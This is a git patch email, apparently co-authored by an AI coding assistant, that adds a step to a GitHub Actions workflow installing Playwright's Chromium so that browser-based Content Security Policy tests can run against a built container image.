Subject: [PATCH 2/2] ci: install chromium for the container CSP checks

The container suite gained browser-based tests: asserting the CSP header
is not the same as asserting the page still works under it, and only a
browser reports a violation. The image job had no browser installed, so
those five tests could not launch.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01QqFK6yffibtCBTF8xZ4hXW
---
 .github/workflows/ci.yml | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 61c0748..fa48408 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -187,6 +187,11 @@ jobs:
       # Also proves the Dockerfile's dist/ sanity checks pass on a real build.
       - name: Build image
         run: docker build -t knowledge-base:ci .
+      # The CSP checks in the container suite need a real browser: a policy that
+      # blocks something the page needs fails silently, and only a browser
+      # reports the violation.
+      - name: Install Playwright browser
+        run: npx playwright install --with-deps chromium
       # The only place nginx.conf itself is executed. The other suites run
       # against tests/fragment-server.mjs, an Express mirror of the rewrites —
       # see playwright.config.docker.js for why that is not sufficient.